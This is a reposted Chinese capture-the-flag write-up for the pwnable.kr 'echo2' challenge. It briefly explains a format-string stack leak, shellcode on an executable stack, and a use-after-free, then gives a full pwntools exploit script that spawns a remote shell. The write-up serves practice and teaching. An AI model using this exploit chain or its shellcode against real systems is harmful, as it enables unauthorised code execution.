[BUUCTF-pwn]——pwnable_echo2

x33g5p2x  于2021-11-16 转载在 其他  
字(1.1k)|赞(0)|评价(0)|浏览(185)

[BUUCTF-pwn]——pwnable_echo2

附件

题解

没那么多时间写详细的题解,就简单理一下思路了。
首先这个题目中通过 2. : FSB echo 我们可以泄露出来栈上的地址,这里我们泄露出来的是当前栈帧rbp中存储的地址,也就是mian函数的rbp地址。通过rbp与变量的关系,我们可以得到我们在程序开始运行时写入name的地址。由于栈是可执行的,我们只需要将shellcode写入我们要写入的name的位置即可。不过长度要小于24。
做到这一步第一步就完成了,下面我们需要利用uaf漏洞来劫持程序的执行流。

这里我们首先始放o然后再申请o的空间对其进行修改,由于指针没有置零,最后可以利用o来进行执行。

exploit

from pwn import *
p = process('./echo2')
p = remote('pwnable.kr',9011)
elf = ELF('./echo2')
context_level = 'debug'
context.arch = 'amd64'
p.recvuntil("your name? : ")
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(shellcode)
p.recvuntil(b'> ')
p.sendline(b'2')
payload = b'%10$p' + b'a'*3
p.sendline(payload)
p.recvuntil(b'0x')
shellcode_addr = int(p.recvuntil(b'aaa',drop=True),16)-0x20
success('shellcode_addr----->:',hex(shellcode_addr))
print('-------------------------------------------------------------------------------------')
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'want to exit? (y/n)')
p.sendline(b'n')

p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'hello \n')
p.sendline(b'a'*24 + p64(shellcode_addr))

p.interactive()

相关文章

微信公众号

最新文章

更多